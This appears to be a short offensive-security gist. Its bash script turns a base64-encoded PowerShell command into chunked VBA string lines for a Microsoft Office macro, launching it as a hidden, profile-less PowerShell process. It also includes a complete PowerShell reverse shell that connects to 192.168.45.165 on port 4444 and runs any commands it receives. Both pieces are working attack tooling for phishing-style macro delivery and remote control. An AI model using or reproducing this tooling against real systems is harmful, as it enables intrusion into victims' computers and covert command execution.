Make a PowerShell script compatible to use in VBA (Microsoft Office Macro)

powershell-to-macro.sh

#!/usr/bin/env bash
# Description: Convert a base64 encoded PowerShell command to a VBA expression that bypasses the 255 character limit.
# Usage 1: cat reverse-shell.ps1 | iconv -t UTF-16LE | base64 -w 0 | ./powershell-to-macro.sh
# Usage 2: ./powershell-to-macro.sh -c "<base64 encoded powershell command>

set -euo pipefail

usage() {
  echo "Usage: $0 [-c string]"
  echo "       echo 'text' | $0"
  exit 1
}

# Must be UTF-16LE
COMMAND_BASE64=""

# Parse options
while getopts ":c:" opt; do
  case "$opt" in
    c)
      COMMAND_BASE64="$OPTARG"
      ;;
    *)
      usage
      ;;
  esac
done

# If -c was not provided, check for piped input
if [[ -z "$COMMAND_BASE64" ]]; then
  if [[ ! -t 0 ]]; then
    # stdin is being piped
    COMMAND_BASE64="$(cat)"
  else
    usage
  fi
fi

COMMAND_BASE64="powershell.exe -nop -w hidden -enc $COMMAND_BASE64"
COMMAND_LENGTH=${#COMMAND_BASE64}
LINE_LENGTH=50

for (( i=0; i<COMMAND_LENGTH; i+=LINE_LENGTH )); do
    CHUNK=${COMMAND_BASE64:i:LINE_LENGTH}
    echo "Str = Str + \"${CHUNK}\""
done

reverse-shell.ps1

$client = New-Object System.Net.Sockets.TCPClient('192.168.45.165', 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = ([System.Text.Encoding]::ASCII).GetString($bytes, 0, $i);
    $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([System.Text.Encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte, 0, $sendbyte.Length);
    $stream.Flush();
}
$client.Close();